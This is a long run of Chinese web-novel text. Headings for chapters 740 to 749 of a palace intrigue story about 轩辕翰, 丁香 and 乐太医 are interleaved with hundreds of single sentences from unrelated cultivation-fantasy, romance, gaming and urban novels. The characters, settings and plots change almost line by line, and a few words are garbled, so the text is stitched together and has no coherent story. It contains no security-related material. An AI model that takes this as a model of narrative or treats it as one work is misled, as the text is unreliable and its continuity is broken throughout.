就是不知道怎么回事,他跟席二回去之后便生了怪病,青天白日地一直说胡话,还吃不下东西。 这些妖怪都已化形,都已经是黄色称号色界修为!不过看模样就知,化形不是很完整,修为并不是很高,最强的也才化婴前期。 “师弟,他们听到我说话了。”松鼠指着躺在地上,以及听到松鼠说话,吓傻了的另外一人道。 说着话,众人已经来到黑枫林深处。前面忽然一阵轻响,一团黑气从一棵大树后面冒出。 紧接着,金陵城中一番谋划,当即决定出兵,收回被唐朝攻占的吴国城镇。 突然间一道异声响起,从擂台一侧,一道水幻力夹杂着雷电对攻向俞薇的火幻力,对轰的力量同样惊人,而一对轰俞薇的劣势十分明显。 第七百四十章:程良的好主意 “什么?” “二十万?” 轩辕翰着实被如此突如其来的重大消息惊到。 而如今这么故作姿态,一方面是为了让这些长老意识到张风的可怕,另一方面则是因为紫灵上尊已经决定投靠张风。 白暖身子发软,扑在了安阳的怀里,忍着疼,反手就将自己手中的刀扎进那男生的手臂。 也想过万一他们询问自己这擒龙掌的奥妙精髓,自己该如何解释如何忽悠。 一些人参之类的,还有三七等药材,艾欧大陆有一部分,没有的,他也在山河图里种植了不少。此时半位面里面,也是有着这种药材。反正迟早两个世界要合流,林川也不介意提前种植了。比如说茶树就是其中之一了。 “最好是这样。我武器长,我来试探。”晏融端起枪伏低身体缓缓靠近,其余人则呈半圆形往各个方向包抄了过去。 “好了好了,大家都少说两句,柴老师,受伤的孩子情况怎么样?”今日轮值的孙院长转头问柴老师。 这一次,杀敌的主力在林川,莉莉丝杀怪虽然也有一些感悟,但并不能和玩家一样,获得经验值,所以林川说服了莉莉丝,由他来杀死这些怪物,而莉莉丝就净化那些还没有被净化的怪物。 荣娴仙最后端上来一大盘麻辣河蚌肉片,她是按照麻辣花蛤的做法做的,刚刚尝了一口,做的很成功,味道好极了。 燕云歌郑重其事地说道:“母亲,我在平阳郡和在朝堂,是不一样的。我在平阳郡,我就是地方权臣,是财神爷,所以朝堂对我猜忌防备。 那轮红日,大得像是近在咫尺一样,橘红偏黄的光,洒满整个车内。 喵妹看到凛海吃惊且认同的表情,就知道五盒说得都对,伸手去拉五盒。 罗恩干脆懒得理会她,任由她自说自话,反正他怎么否认他不喜欢她,她都不会承认的。 “宝贝儿,现在还不是叫疼的时候!”顾景臣俯身将她从车内抱了出来,动作大得好像下一秒就会扔掉她。 那时候的我,每次上线,都会收到礼物的提醒,然后就是皮肤的赠送,而且每次出新皮肤,都会在第一时间收到,我很感谢那些粉丝对我的支持,因为没有他们的话,也就没有今天的我了,我更加就不会站在职业的舞台上。 “罗恩,你能帮我和妈妈逃出去吗?”塞西又问道,美丽的眼睛充满期待的看着罗恩,隐约还带着几分祈求。 罗叔引着萧仙子与薛蓝坐在最高一排,观众的席位按等级尊卑地位之差别分区,由高到低共四组。 王子见自己的父王在问龙天的事情,也就把在宫殿里发生的事情,原原本本的告诉了海龙王。 白虎、金翅大鹏神鸟、夔龙、三足金乌,都是神山中无上的存在,他们存活了万古的岁月,此刻都有些怕了。 对单纯只是来这里寻宝的人来说,巨兽越少越好,但对罗恩和乔伊这种想要利用巨兽进行修炼的人来说,巨兽的数量太少就无法起到修炼的效果。 第七百四十一章:梅苑行动受阻 面对衣上云的疑惑,丁香显然亦不知道她为什么这么问自己? 聂美琴再次煞有其事的说完了这番话,却故意扭头不去看赵敬东的那副窘样,而是管自抬腿迈脚自顾着往前走了,也嘴角上扬在心里面偷偷的乐着。 朱颜顿时大气都不敢出,这么多的高手,这气场到底是多么的巨大,那就只有真实的感受,才能说清楚了。 在这地图之上,朱颜早早的就看过了,这一片黑色的区域,正是并列的五大区域之一。 那一剑,从侧面刺来,直接刺入自己的肋下。原本是不可能的事情。自己的软处,也在自己的认知之中,所以,自己也一直都将自己的软处给包装和隐藏得很好。 蓝颜风说的没错,她空口无凭的说出去,非但没人信她,反而要是蓝颜风告她污蔑的话,不仅仅救不了爸爸的工作室,反而还会害的爸爸更惨,是她太天真了。 林辰则一副气定神闲的样子,毕竟他现在的实力跟秦期差不多,两人生死相拼,只能出现两败俱伤的局面。 身边忽然停下了一辆车,熟悉的眉眼带着冷漠显现在眼前,颜柯却看到了希望,眼前顿时一亮,也顾不得那么多,忙抱紧了孩子,坐进了后座位。 对,打电话,她赶紧从包包里找手机,可手一伸进去,手机没找着,摸着了一串钥匙。 “戎志你们走吧,虽然我们被‘药’族赶了出来,但是也绝对不会加入万毒‘门’,你们还是死了这心吧!”老人对着戎志挥了挥手,示意他们离开。 这一日,许仙刚刚炼制了一炉普通的丹药,正打算好好修一番,奖励一番自己,就看到白牡丹笑吟吟的走过来,许仙早就熟悉了白牡丹的行为规律,知道绝对是又找到了什么好东西,看表情,绝对是超级好的东西。 就算那些获得天地垂青,获得世界秘境绑定的传人,裴键也根本就不怵他们。就算是碰面,那也是要打过之后,才能知晓的。 “那么oppa,你对于帕尼欧尼和允儿欧尼是怎么看的?”看张扬如此的无奈,徐贤也只好点点头换了一个话题。 许娇容急忙来到李公甫身旁,在他的脸上使劲拍了几下,然后在李公甫的人中使劲掐了一下,李公甫眉头一皱,慢慢醒了过来,刚睁开眼,还未看清眼前的情况,顿时大叫一声,抬手就向面前的许娇容打去。 感受到四阶段基因锁力量的苏南看着那个越来越近的拳头,心中的那股怒气根本无法咽下。 就在他走出的同时,缠绕在楚天箫身上的鬼爪嗖地一声松开,重归石门之内。 暴君的肩头,那块植入了尼坦因血肉的地方,正在不住的蠕动着,看起来十分的恶心。 突然之间,那贯穿着无数星河大次元世界的“平衡”法则,就已感应到整个轩辕帝陵,恍如从磅礴浩大的太古鸿界之中消失。 宫田仓木苦笑一声,半跪在甲板上,任由雨水洗刷着他的全身,这短短一分钟内他终于体验到了什么叫作超越他这个层次的力量。 第七百四十二章:放长线,钓大鱼 就在程良自以为这么多年以来,还没人敢阻挡秦王府的人办差。 凌厉如刀,寒冷如霜的杀气顺着银枪流入木昀天的丹田之中,狂暴的寒霜侵袭着他的丹田,撕心裂肺般剧烈疼痛让木昀天的全身都不可抑制的颤抖着。 而在沈思佳发这条微博之前,她所有的代言方都单方面宣布跟她解除了合约,表示不会再继续合作。 属性能量在不断的翻滚,在远处的一处平原之上,形成了诸多能量分割的姿态。 而云瑾却是两眼死死的看向了大战所在之地,“去问问看不就知道了吗?只是上去问一问,能交易就交易,就算不能,我们也没什么损失对不对? 周瑾等人顿时再次白了两人一眼,我们能对战意有什么误解?用了这么多年,我们能有个鬼的误解。 一边想着,西门飘雪一边轻轻摇头,想到她曾经初出牛犊不怕虎的样子,嘴角不自觉的扯上一抹笑意。 也不知道过了多久,反正纳铁发现自己忽然脑袋一片空白,然后就昏迷过去了。 但是纳铁却是没管那么多,而是让他们放下了软梯,然后让龙岛的人带着伤员就上了直升机。 众人看着这样的火凌风,心中狠狠的跳动着,虽然他还是他,可是此时此刻,他的身上所散发着傲气与狂妄却是那么的张扬,众人不由自主的深吸了一口冷气,就好像被一记重锤击打在心中,一股被他征服的感觉油然而生。 曹博謇也看到了白珊珊,本来他未必能认出,只怪官员家眷就她一个蒙着脸,不要太好辨认。 听到铁剑宗弟子还未遇害,柳五暗暗松了口气,他担心的自然是乐灵儿。 寇熙朝要放下她,却被她抱得死紧,无奈之下,寇熙朝只得抱着她坐到亭子里。 此时,一直在过道对面看着吕楠拍摄的陆非凡,拿起对讲机说道。 白珊珊还没消化完,院子里又进了一抹亮黄色的身影,伴随着柔柔的嗓音进来了。 赤芒电闪,从山精身上划过,直接将其分为两半,山精的惊呼只有半句“你……”,随即身形消散,化为淡烟。 他沉默地走过去,直接一把把她抱起来,给她裹上衣服,陪着她做到饭桌前。 乔鸯似乎没有看见,只是埋头吃这东西,脸上带着幸福的模样,偶尔会抬起头和艾伦说话,只有在那一瞬间的时候,艾伦才会收起他变态的模样。 这一整晚,他们各个都睡不好!因为外边的魔兽嘶吼声太大了!又加上任务的重担!所以一大部分的人都失眠了。 “不知道?其实很简单的!”陆非凡一脸失望的摇了摇头,看得几位记者一脸黑线。 叶良不急着回去,还愿意送她到部落营地,那高月自然会更加高兴,更加激动了。 布匹撕裂的声音猛然响起,一柄赤黑色的匕首泛着冷芒凭空出现,狠狠的刺向了高秋官的胸口。 “又怎么了局长?那边又发生什么事了?”刘兴皱眉不解问道,他算是这间屋子里最大大咧咧的。 第七百四十三章:重大发现 一看到轩辕翰与程良的身影终于出现在秦王府门口的街角,易三少从未离开,一直焦急地来回踱步,徘徊在门前等候着搜查结果的身影,便朝其追了上去,连连追问。 “怎么样?” “找到了吗?” 事实上,遭到毁灭xing打击的,多是普通级别的法师,十之仈jiu是被拉进迎宾队伍里充数的,而跟在季柳德里科夫身后的理事会高层都及时做出防范,虽然免不了受伤,但终归没有死亡。 众人都是摸不到头脑,开始逼问高福全,待知道了实情,也都笑开了脸,但毕竟他们都是大男人,不好掺乎这个,挠挠脑袋也就继续忙了。 说完之后大批的遮天手下带着整齐的装备,跨着威武的步伐一个个向山口组迈进,随行的还有六辆最新主战坦克,以及两架武装直升机,知道的他们这是黑社会火拼,不知道还以为他们这是去打仗呢。 这宫里能留下来的都不是傻透了的人,真个有傻子,自有上头人怕受连累了来提点。事涉吴王一脉,宫中自是不敢有人怠慢的。玉姐传令下去,又将自家身上一看,她原在孝中,衣着打扮正合适,便坐下来想九哥心事。 楚天逸闪身跳上擂台,一身黑衣淡淡出尘,一双眸子之闪烁着一种令人着迷的光华。 不要以为加入了你的租借办法,又要到你的地狱殖民地去投资,就可以随你掌控了,我们投资地狱对你也是有好处的,大家要真都不去了,看你怎么办? 栓子和石头本来蹲着刷碗,听得还有抹零抹去一半的狠法,都有些发愣,扭头去看这人是谁,可是脑子不好,或者再与师傅玩笑? 但没有了犀利的术法武器支持,作战傀儡们的肉搏简直就是不值一提,眨眼工夫,防御圈就被淹没在了扑天盖地的妖魔当中。 这个时候西门无仇虽然很是生气但是还不敢在龙家的院子里动手,毕竟他虽然无知、自大,但并不是真正的傻子,龙家的强大他还是知道一二的,所以也不敢再龙家的院子里动手,只不过是希望能够吓吓对方挣回点面子而已。 原来蚩尤是魔界的魔皇,他和轩辕黄帝的事情也和我们所知道的有所不同,轩辕是神界的神皇,两界原本就是势不两立的他俩在大战的时候就打了起来。 战士怎么可能回去,他毫无犹豫的回答道尽管开打,他就在外面欣赏。 “为什么你不赌披萨?”李鸿插嘴说道,随后后脑勺上就挨了严君黎一巴掌。 扎拉多姆仿佛很仇恨路钟离一样,不停的向路钟离喷射龙息。不过他实力和路钟离有着天渊之别,根本不能给路钟离带来任何的伤害。 强大的能量风暴足以横扫一切,除了能量强大之外,其中还包含着毁灭、死亡和黑暗的法则,要是被这能量风暴直接击中的话,那肯定会遭到毁灭性的破坏,最后完全消失。 陆芷兰眼泪横流,抓着皇帝的手,看着他脸色一点点青白,喉咙里疼得说不出话,只能嚎哭。 叶丛缘内伤了,她挣脱章道名的手,缓缓起身,打算找个地方疗伤,并且短期内不见章道名,省得自己想揍他。 第七百四十四章:独食的秘密 此话一出,俩人俱都陷入一片沉默之中。 看到嘴上虽说的多么与自己无关紧要,可却神情黯然,无处不自然流淌出心里的隐隐痛楚。 时过后,城里渐渐冷清下去。行人少了至少五成,|几天几夜不眠不休也没什么关系,可再怎么说喜好夜游的修士也不会很多。 罗睺是内‘侍’、木曜也是内‘侍’。叶明净颇有些无语。要不是还有计都,她差点要怀疑天‘波’卫已经变成东厂了。 因为顾海入狱险些牵连全族之事,当初在建康,这种态度言语她已经见惯了,略一迟疑,她还是接着迈步要打招呼。 黄色的符纸刚刚烧完,这白毛尸原本空洞的双眸之中闪现出两个血红的眸子。隐隐约约之中,还有死灰色的气流在眼眸之中流转。这两具白毛尸比之一凡见过的那宋人龙咬出来的白毛尸倒是还有很大不同。 “不知玛法觉得公爵可好相处?”汤若望沉‘吟’了一下道:“公爵很有一点狂傲之气。”狂傲,也就是说看不起别人呗? 但是张伯受伤一事,却不应该让智宇知道的,这样一来,他一样还是会担心。 这还没出正月,他怎么来了?顾十八娘暗想,现在已经是建元六年了,怎么这个神医还是一点苗头也不显?莫非自己重生,将他的命运也变了? 火彤一口口的吃下火夕亲手喂的白米粥,直到碗已见底,火夕又将她扶好躺下。 “这倒不需要,回去好好休息就行了。”医生雷厉风行地写病历卡,他还有大堆的病人需要接待。 “请说。”方镇海心中暗喜,白起可不是轻易出主意的人,他既然说话了,肯定值得一听。 鼓声大起,左侧的山岭中飘起两杆汉军大旗,两个万人队从山岭中列队而出。正前方,汉军营内尘土飞扬,营门打开,五千汉军骑兵和五千步兵呐喊着自营中冲出。 至于那些想方设法想要逃离出城,以及拒绝献血的人,毫无疑问成了重点监视的对象,纷纷被收监看押。 密道顺着石壁一转,又顺着山体向前延伸,然后再转了方向,感觉已经到了山的另一边了。 “没想到此处不但设置了禁空禁制,还能够令人体内的精气自主流失,看来哪怕是最容易的一条通道,也不是那么好走的。”夏沐一边踩着青草往前走着,一边四处张望。 章楚涵没来的时候田川正在上网,所以电脑是开机状态,但章楚涵来了一会,电脑就进入休眠状态了,田川重新按了一下按钮,电脑马上就开始运转了。 来势汹汹,且带着不死不休之势,柳一被一脚踹飞在地,那腰肢却灵活一转,转而对付起一侧微怔的花一来。 所有观战的人莫不色变,那缚天锁的威能,连虚无的刀意都能锁住,让人心悸,若是被其锁定,寻常修士恐怕难以逃脱。 那马面本就是鬼,如今又中了自己的一招“生死立判”,连喊都没喊,立刻就魂飞魄散了。 白雪的眉头也是微微一皱,虽然韩名肉身强悍无比,但实力等阶的差距如此之大,恐怕一拳下去,神魂难保。 第七百四十五章:我意已决 这一切,来得都太过于突然。 一时之间,乐太医自是难以接受,竟也不知该再说些什么。 听到前院似是有什么动静,乐太医遂叹了口气,复又急忙朝着前面院子回去查看。 离开时,走到丁香身旁驻足停留片刻。 李沐顿时想起在天鹰寺时,师兄一桑道长曾经夸将天鹰寺金碧辉煌。当时岳叶枫脱口就说,“宝刹分明是骂人的话。”如今,再在略懂口中听说,倒也不觉莞尔。 原本华雄所在的大帐,是中军大帐,也就改成赵风的大帐,为中军大帐了。 早听人说,桓子澄身边有一位宁宗,擅制各种稀奇古怪之物,举凡奇药、奇器、奇物,他皆能做得出来。 这是拔剑的弧线,乃是那十招九仞剑法之中的一招,名为玉龙为君死。乃是十招九仞剑法之中唯一的拔剑式。 锁妖塔并不远,至少这对蜀山弟子是的。林羽飞了不过数十个呼吸,人已来到锁妖塔。普一进入锁妖塔,无数绿色的鬼魂已嗅到了生人的气味。下一秒,无数鬼魂向着林羽而来。 塑体,莲花?哪咤?貌似哪咤就是用一株先天莲藕重塑的肉体。只是据说哪咤虽然一时间法力暴涨,但是却后继无路。难道他也要那样?又或者灭世黑莲能打破这个限定? 她的失态,郁绍司都看在眼里。郁绍司不动声色的,朝苏荷使了个眼神,其实就是在警告她。苏荷接收到了,猛地回过神来。 郁欢沁怔忪,也不敢动。他这样,是什么意思?是因为可怜她吗? 贺兰槿听到暗卫离去脚步声,连忙跑上前打开门,看到几只购物袋摆在门口,她伸手提起看了眼。 “我走了你从哪儿找具尸体给南宫烈?”克里斯不知道徐子栋到底在想什么? 乔寒夜拨打着贺兰槿的手机,一直没人接通,他迈着大步跟上,刚走到门口,就觉得气氛不太对劲。 贺若雪见状,她揉搓着手,发现贺兰槿在玩手机,把她当空气,她在拍戏时就有一肚子气,现在无处发泄。 眼前的人,虽然是她的生母,可是……她什么都不记得了,陌生,太陌生了。 凌瑶越想越气,转头就看到茶几上放了一杯水,想也没想的就捞了起来,唰的一下直接泼在了陷入熟睡中的赫连雅脸上。 从梁晴雪的雪风刀刃ip打造的重大会议回来,已经是下午五点了。 听了白天行的话,大家又耐心等待,一直到一条条蛟龙飞回了水泽,最后一条赤色的蛟龙依旧在坚持。 毕竟单纯从地缘位置来看,维持一个跨直布罗陀的帝国,比之将统治力,延伸到黑非洲要更现实一些。 王森哪会在乎那些没用的,一把搂住秦山风的肩膀,两人推攘着往前走,关系也在无形中亲近了几分。 “嗖、嗖、嗖。”又是连续三道身影,三种颜色的元气光芒亮起,前前后后没入了鬼气翻涌的城门中。 白狼穿越前就是个程序员,现在利用世界规则编写代码就可以让机械自动开始制作黑狼的身体,制作过程中遇到了什么问题他可以再修改。 每一座大城都会有城墙,城墙上面必备的军资就是滚石火油,至于弓弩箭矢更是不用多说,这些东西没有办法防备的,你只能用性命去把敌方的这些守城资源耗干耗尽,然后才能用蛮力叩开敌方的城门。 第七百四十六章:哑巴吃黄连 傍晚时分。 乐太医带着一女子,俩人各戴一顶帷帽,背上背着一个采药用的竹药娄,果然徐徐出现在秦王府的后门。 守门的侍卫见了,远远地便朝其打招呼:“乐太医,怎么是你?这眼看着马上天就要黑了,怎么这个时候还要出门?” 终是有些紧张,只要一见到人,乐太医总是不经意地挡起身后的女子。 此时,他摘下帷帽,对那侍卫说:“老夫亦是突然想起来,前段时间进山,丁香曾发现一株甚好的铁皮石斛,那石斛对治愈太妃娘娘的恶疾十分有帮助...... 既然有好戏看,她也就不忙着回家了,靠边走上几步停下,兴致勃勃的向着萧锋的方向看去,他一脸欣喜,急切的等待,不多时便看到冷雪莉走出武斗学院的身影。 那怪鸟蛋现在越来越大,三人环抱才能抱得过来,散发出血色光芒,而且还有鬼气在呼啸,当初陈大所说,这怪鸟蛋是混沌鬼胎,既然被称之为鬼胎,那肯定是凶厉之物。 她的双目好似有两团紫色火焰在熊熊燃烧那般,所过之处,一片片虚空竟被她焚烧成虚无。 爆发丹田,事实上这就是井中打水,平时一桶一桶的提,自然是无伤大雅,但若是猛然将井中之水全部抽取,那井则不知道多久才能恢复的满了。 “你是要给那些孩子们买饼子的吗?”龙烟华微微欠身,弯下腰问到。 “还是第一次遇到这种状况!”出来超市的大门赵娜擦了擦额头说道。 “哼,你也看到了,成为武神……也是自找死路。”林逸云说出了一句对两人来说同样残酷的话。 此时一个五大三粗的汉子来到了台,他向酒保要了杯啤酒。猛然看见旁边的李昊龙有些眼熟,他仔细的看了看,双手顿时握紧了拳头。 无名听到此声大惊,凉嗖嗖的感觉在背后突如其来,只感觉到有一道无比凌厉的剑芒逼向自已,转身用法器一挥,身为飞升后期的强者,当然有实力强大之处,瞬间化解了陈飞的剑芒。 像是赵老爷子创造出来的公司,不过是千亿规模,说难听点,不就是一两百亿美金吗?而且手里能调动的现金流还有限。 第二天,叶丰都上完课后,几乎是飞奔一般来到了一眉居,九叔早已经等在了后院,显然,这里将会是他的另一所学校。 这是她的性格使然,大大咧咧,倘若她是男人,想来应该会是跟千手柱间一般豪爽的汉子。 就在陆尘匆忙的脚步即将踏出这道房门之时,被捆着的一个男人似乎因二人交谈的声音而苏醒。 闻听此话,聂怡鸾双脸煞白,胃里反复腾涌起来,若不是紧紧捂住嘴巴,估计能将自己的胆汁吐出来。 青年修士大惊失色,刚要灵魂出窍,张元的火弹术就已经轰在他身上,顿时神魂俱灭。 她并未暴露自己已突破魂变境,而是释放出灵婴境巅峰的气息,压得八王爷说不出话来。 可要是想要让石田拿下整个九州岛,就凭石田那点儿实力,根本就不可能。 叶丰都恍然想起左慈墓时,聂怡鸾也是毫不犹豫的将自己护在身体之下,用自己的柔弱去阻挡凶厉的冰箭。 这一次洛天的来临,可谓是给了萧老头等人不少的惊喜,同时,洛天自己也开始了闭关。 ,而他事实上已经接受了奉天张作霖的安排,自己怎么就中了这一招缓兵之计呢。 两人没有轻举妄动,而是顺着人流逛了一圈,街道不大,也就百十来米,大概也就十几个门面。 秦翰还是没有说话,似乎没有听见一般,继续喝着茶,众人的目光都在他的身上,可是他依然无动于衷。 重伤落败就想了事?没门,他必须要挫一挫皇龙学院和康尧的傲气,也让他们清楚清楚,并不是顶尖学院就可以在此撒野。 这是很寻常的土房子,是只有不会修炼的凡人才会盖的,洛天看到,这房子里面所有的东西都是安好的,甚至包括了其中锅里的热饭,热菜。 韩百航有些尴尬,自己刚才怎么就鬼迷心窍了呢,自己怎么就管不住自己的这手呢?他的脸上虽然是衣服懊悔的样子,但是心里比打了胜仗还高兴,如意并没有直言反驳他,说明心里还是对他有些意思的。 的确,如果真的夺取到了黄泉果,那么这仙魂草的作用,就显得很微弱了,故而,洛天完全可以自己留下来,留给自己用。 秦安闻言抱着上官灵的手又紧了一些,不得不说,他很欣赏上官灵的性格。 这是他非常疑惑的一点,正常人看到王宁波对视频之事置之不理,都以为他是默认。公认了他是渣男,是毒瘤,应该不清出娱乐圈,被绳之以法。 我不知道他是不是神的孩子,但是我知道他心里认识我,知道我是他的亲人。可是他从来没和我过一句话。 那两个城管,还没搞清楚是怎么回事,便被两只大手,分别提起来。 高跟鞋的声音,清脆而均匀地回响着,像是一只闹钟不紧不慢地数着倒计时。 “末将在!”左右出去传令后,翟进、韩世忠二将大踏步走进屋内,躬身接令道。 在蹭了一顿埃兰娜静心准备的早餐后,和瑞克回到了二楼瑞克的私人房间内。 第七百四十七章:平行时空? 最后,她只能狠狠瞪了一眼跪在轩辕翰面前的丁香,以目光来震慑警告她不要乱说。 丁香一对上她的目光,即刻被吓得再次垂下头去。 “走!”没办法,陆天骄只能暂且带着自己的人离开。 你看,我正在筹划准备一个‘丧钟战队’,致力于将所有平行世界里的我都集中起来然后干一番大事业。 莫惊云见状,再次将身一侧,打算照葫芦画瓢继续用推手之法乱兽王之重心。 这是梅森希望看到的走向,他之前就说让希里做事之前多和他商量一下,眼见自己的上司真的这么做了,梅森自然乐的动动脑子。 “前辈折煞晚辈了,力挽狂澜救重水牛族的是前辈,晚辈只是将前辈救了出来,不敢居功。”柳子桑抱拳道。 她和奎茵之所以还能在这里维持正常,大概是因为眼前这个家伙帮助了她们。 特大杯巨甜珍珠奶茶、薯条和巨无霸汉堡,还有一份脸盆大的鲫鱼鸡肉沙拉。 想到中午酒桌上发生的一幕,如果这一切不是傻柱亲身经历,他肯定会向贾东旭那样,对此抱着质疑的态度。 不过唐禹川看了一眼,点点头,然后在纸上写下:御赐官窑茶盏一套,因儿时未注意多有磕碰,现只剩一只孤品,起拍价十两银子,上不封顶。 柴进生点了点头,柳子桑亲手击败了王业虎,比较有威慑力,问话这活他来干最合适不过了。 假艾克斯奥特曼,连同身上的铠甲哥莫拉,一同化为了一片火光。 明羽神识微动,那麻袋的金绳便被解开,而其中瞬间便放射出一股极为强烈的星光,只让明羽的神识感觉一阵模糊不清,直到三秒过后,他才将那麻袋中的东西清楚看见。 刀妹目光一冷,此刻眼中的错愕隐去,随即被一种冰冷所替代,这边刚想抬手却发现自己变的羸弱无比,动作开始缓慢起来。 方冰冰走在叶凡身边,柔声到,双臂抱住叶凡,不断用身体的柔软去磨蹭叶凡。 “哼!唐天有种你就杀了我!这合同我打死都不会签的!”卫无机冷哼一声,大声说道。 叶枫背着手,听到宁素素的呼喊,但并没有回头,半眯着的眼蓦地微微张开,看到高个子男修扑杀而来,居然双手缓缓抬起,怀抱虚空,“咔嚓”一声震动冥冥中响彻。 “我说你是不是傻逼,你有见过谁身上带着二十万现金的吗?真尼玛脑残哪里有,今天特别多!”叶凡怒骂道。 然而就在他放松警惕的时候,身后的马车突然间传来了巨大的轰鸣声,以及押车武者的惨叫声。 而就在这时,忽然间身后紫皇走上前来,左侧玉腿轻轻抬起,随即陡然朝着宋圆圆的后颈猛然踩下,“啪”的一声直接将宋圆圆踩得俯贴在冰凉的金属地面之上。 难道这一切,都是冥冥之中有人安排好的?难道,那位散修前辈的修为已经知晓过去未来,算准了三百年之后我会出现在这里,取走八荒剑诀吗? 李丹若一时不知道说什么好,她知道刘皇后对狄推官没什么好印象,可没想到竟说出这样一番话来,这道理她极是赞同,可若是这样,她和姜彦明商量让狄老爷起复仍做推官事岂不是不成了? 出声询问的,是来自香港的郑先生,也是那家世界市值最大珠宝零售商的第三代继承人,年龄并不算大,跟叶天差不多。 龟派气功冲开天上的乌云,直接和落下来的能量炮弹相撞,巨大的爆炸在南极上空出现,让本来还有一天的暴风雪居然提前吹散,天空的乌云顿时被爆炸的攻击波弄的七零八落,然后消散在空中。 地龙话音刚刚落下,操场上的整理队列的喊叫声,卫士们的呼叫声一声高于一声,侍卫们的激情被充分的调动起来了,大家在操练中争先恐后,各显本领。 话音刚落,凌阳的身影倏然凭空消失掉,李斛目瞪口呆,感觉到手上一轻,手中紧握着的沙漠之鹰,已经到了凌阳的手里。 这种邪术,有点像湘西苗寨的苗王修炼人蛊合一的最高禁术,最后好像是失败了,变成了那副样子,难道眼前的断臂男子练成了人蛊合一? 众人听完那工作人员的话之后,便一个个相互谦让了一下,排成一条长队来了。 刘家宝终于还是问向了祎纷。因为他要活,要命,就不得不把苏影湄的什么问题放在最首位了。 “到底什么事?”李丹若边走边问道,姚黄左右看了看,低低答道:“说是红云姑娘打发人来寻姑娘。”李丹若意外几乎绊着,魏紫急忙上前扶了她一把,李丹若也不再多问,三人急步如飞,往霞影居进去。 朱秀清强行压制住自己要捏沈浪耳朵的冲动,面色和蔼的把有些紧张的田恬拉到一旁,说着悄悄话。 穆凌绎宠溺的点点她的鼻尖,对这样古灵精怪的颜乐全部抵抗力,他将她拉进怀里,紧紧的抱着,深吸着她身上清新的,独有的香气。 颜乐觉得格外的甜蜜,梁启珩才说她爱凌绎爱得卑微,现在就听着凌绎毫无掩藏的爱意,真是奇妙。 那十几只如妃子般的母鸡睡了,那只如帝王般享尽后宫佳丽三千的公鸡也睡了。 当司空封玄再次闷出一口暗红的血后,巫巧嫣的泪水便抑制不住跟着淌了下来。 她的话音一落,席上先是一静,然后便响起了一片难以置信的惊叹声。 陈猛很有眼色的给沈浪和赵若雪打开车门后,便等候在别墅外,沈浪按了下解锁,然后别墅紧闭的大门被打开。 第七百四十八章:比天还大的玩笑 恰时,丛林里一条蜿蜒曲折的山路上,缓缓现出一团似是正在移动着的火光来。 我看着何清水现在的样子,真的是有一点挺无奈的,这些事情,就是这样的吧,或许谁也是有一点看不懂,也或许是谁都不明白,但是事实就是这样,无奈的不行了。 “谢谢老板夸奖。”彭浩明觉得不说点什么并不太好,可他又不知道说什么好,老板这个时候出现,让彭浩明隐隐感觉到不安。 当驾驶室里面的人发现龙升的时候,龙升的匕首已经划过他的咽喉。 话已经说道这个份上,钱诚不在多说,直接把指挥的位置让给了爷过无痕。 是的,对于防守李强,能够碰到他的衣角实施犯规,也成为了一种奢侈。 “绝对不能让他们发现这件事情!”赵严心里下定决心后,打了个神秘的电话。 翔龙听罢心里笑了笑,想着这姑娘还真是要面子,前不久还在他的房间一脸泪水的求翔龙救救她,这一会儿的功夫就不指望他了。 三天后,三叔公和隔壁王大妈坐上游轮,开始了他们几个月的环球旅行。 今天无疑是一个特殊的日子。过不多时,中学好友杨彬、王振宇、张天行也陆陆续续地来了。李强上前热情地欢迎了他们。 “杰哥,或许…有个地方会有您想要的。”白夜想了想说道,现在他们找了半天,也没找到一样东西。 当然,他也碰到了几个熟悉的,比如灵通,土行孙,马炮他们,在看到他也加入了熊猫组,纷纷跑过来祝贺。 可惜的是,当他从墓里找了一圈以后,却发现墓穴里面除了一些金银铜器以及瓷器之外,根本就没有他想要的法宝和修炼秘籍。 下一刻,张敬天坚硬的膝盖在旋转一周后重重砸在胖子的脖颈上。 大家透过木门可以看到,马厩里只有一匹身材干瘦的黑马,此刻那匹黑马见到大家从木门里走出来,似乎受了惊慌,在原地不停地打转。 “一五,一十…”贝诺开始清点人数,但这么多人已经超出了载客量。 千鹤的弟子阿方还是头一次听到师叔闹事找麻烦的原因,顿时感觉头大了不少。 兰迪斯的四个手下,就这样被地上冒出来的尖锐长矛给夺去了性命。见了血,这件事就更没有善了的可能。 老兵见江尧把自己的种子拿出来,连忙也把自己的三颗种子放在了桌子上。 揉了揉眼睛,再仔细看了乐乐几眼,只见对方大眼睛黑白分明,正疑惑不解地等着他的回答。 刻颜芷枫尚未抹去留在凤仙府上的神识,一旦她陨落,凤仙府就会变成无主之物,届时无崖自可契约了它,把呆在里面的人放出来。 跟一期一振分开后,黑子哲也边走边想问题,跟压切长谷部撞在了一起。 “心心呢?”温婉朝忙碌的剧组看了一眼,没有发现温心的身影。 苏若离看到宁凉辰的一瞬间,脑中忽然闪过几个画面,是他送她来医院的? 但在这时,一道惊艳无比的刀光从沉寂中爆发,宛若宇宙破灭后,爆发出的第一道灵光,精粹,浩大。 第七百四十九章:放你自由 可衣上云所不知道的是,自己此时所说出的每一句话,每一个字,甚至连同她的一举一动,都无不在重重地刺痛,甚至狠狠撕裂着他的心。 这一刻,心里一直以来所有的不解,仿佛都得到了释然。 “把这个带上,到时候楔进对面石顶上,我们再把绳子用抛物器丢过去,索道就能做成了。”昆伯把一个滑轮递给姜铭。 下班的时候,程凌芝又在电梯里面遇到了李焕然,他看起来脸色并不是很好,眼眶下面是大大的黑眼圈,程凌芝猜测是因为昨天被她拒绝之后失眠了? 程凌芝愣了愣,想起自己之前发烧了,顿时怀疑地看着司徒浩宇,难道他一直在照顾她,所以才会睡在这里的? “真的吗,一大片的钻石矿,那你有没有带回来一点给我们当礼物。”龙妙妙一听钻石矿,立刻双冒光了起来,林若兮和幕婉儿也是一脸的期待。 “我怕。”姜铭只想过清静日子,不想在一些狗屁倒灶的事情上浪费时间,还不如闷头睡大觉。 要说王蛇的运气真是不错,那半块灵石从天而落的时候,所洛的方向正是王蛇所在的方向。 “死不了。”子义依旧淡淡的说着,好似和大家根本就没分开过。 丹陛上皇帝的表情隐藏在九朝流珠冕冠之后,看不清,可那冰冷冷的视线却是犹如实质一般落在他的身上。 怕是自己鲁莽惹恼王爷了,周妈妈在心底自责了一声,不要因此为难自家少爷才好。 墨朗月不放心留她一人,但时间紧迫,他又想着某个好事之人一定就在附近,便也就放下心来。 能让素来强势和高傲的秦仲天说出这句话,可见王强带给他的巨大压力。 “你可比她差远了……”姚红走过王茜的身旁,轻声细语的对她说了这样一句话。 